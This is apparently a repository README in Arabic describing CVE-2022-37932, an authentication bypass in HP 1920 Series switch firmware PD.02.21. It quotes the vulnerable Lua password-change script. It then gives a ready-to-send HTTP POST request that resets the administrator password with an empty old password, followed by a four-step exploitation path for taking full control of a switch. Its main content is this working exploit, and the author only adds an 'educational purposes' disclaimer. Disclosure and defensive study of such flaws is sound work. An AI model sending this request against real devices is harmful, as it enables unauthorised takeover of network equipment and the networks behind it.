ثغرة تجاوز المصادقة في البرنامج الثابت لـ HP Switch

CVE-2022-37932

إصدار البرنامج الثابت: PD.02.21
الأجهزة المتأثرة: مفاتيح HP 1920 Series الذكية المُدارة

نظرة عامة

يوثق هذا المستودع ثغرة خطيرة لتجاوز المصادقة في مفاتيح HP 1920 Series الذكية المُدارة التي تعمل بإصدار البرنامج الثابت PD.02.21. تسمح هذه الثغرة لمهاجم غير مصادَق بتغيير كلمة مرور المسؤول دون مصادقة مسبقة، مما يتيح فعليًا السيطرة الكاملة على الجهاز.

التفاصيل الفنية

توجد الثغرة في السكربت /login/default_password_cfg.lua، الذي يتعامل مع تغيير كلمة المرور الافتراضية للجهاز. يقوم هذا السكربت بما يلي:

1. يقبل طلبات POST من النماذج دون التحقق مما إذا كان المستخدم مصادَقًا
2. يتحقق فقط من أن معامل oldPwd يطابق كلمة المرور الافتراضية (وهي فارغة/خالية)
3. يغيّر كلمة مرور المستخدم مباشرة بناءً على معاملات POST

الكود الضعيف

القسم الضعيف الرئيسي في default_password_cfg.lua:

if (request_method == 'POST') then
  -- No authentication or session checks!
  
  local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
  -- ...

  if form_post.oldPwd ~= defaultPassword then
    errorStatus = "401 Unauthorized"
    errorText = label.old_password_mismatch
  else
    -- Proceeds to change password
    -- ...
  end
end

يفتقر السكربت إلى ضوابط أمنية حاسمة:

• لا يوجد تحقق من الجلسة
• لا توجد حماية من CSRF
• لا يوجد تحديد لمعدل الطلبات
• الوصول المباشر إلى وظيفة تغيير كلمة المرور دون مصادقة

إثبات المفهوم

يمكن للمهاجم استغلال هذه الثغرة باستخدام طلب HTTP POST بسيط:

POST /login/default_password_cfg.lua HTTP/1.1
Host: [target-ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

username=admin&oldPwd=&newPwd=[new-password]&confirmPwd=[new-password]

ملاحظة: يُترك معامل oldPwd فارغًا لأن كلمة المرور الافتراضية فارغة.

التأثير

تسمح هذه الثغرة لمهاجم غير مصادَق بما يلي:

1. تغيير كلمة مرور المسؤول دون معرفة أي بيانات اعتماد
2. الحصول على سيطرة إدارية كاملة على الجهاز
3. تكوين المفتاح وتعديل إعدادات الشبكة وربما اختراق الشبكة بالكامل

مسار الاستغلال

1. تحديد موقع مفتاح HP 1920 Series ضعيف على الشبكة
2. إرسال طلب HTTP POST المعدّ مباشرة إلى الجهاز
3. يتم تغيير كلمة مرور المسؤول إلى قيمة يتحكم بها المهاجم
4. يمكن للمهاجم الآن تسجيل الدخول بكلمة المرور الجديدة مع صلاحيات إدارية كاملة

الشكر والتقدير

لم أجد الوقت للبحث في هوية من اكتشف هذه الثغرة في الأصل؛ أنا فقط أنشر إثبات المفهوم.

إخلاء المسؤولية القانوني

يتم توفير هذه المعلومات للأغراض التعليمية فقط. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذه المعلومات. احصل دائمًا على إذن مناسب قبل اختبار الثغرات.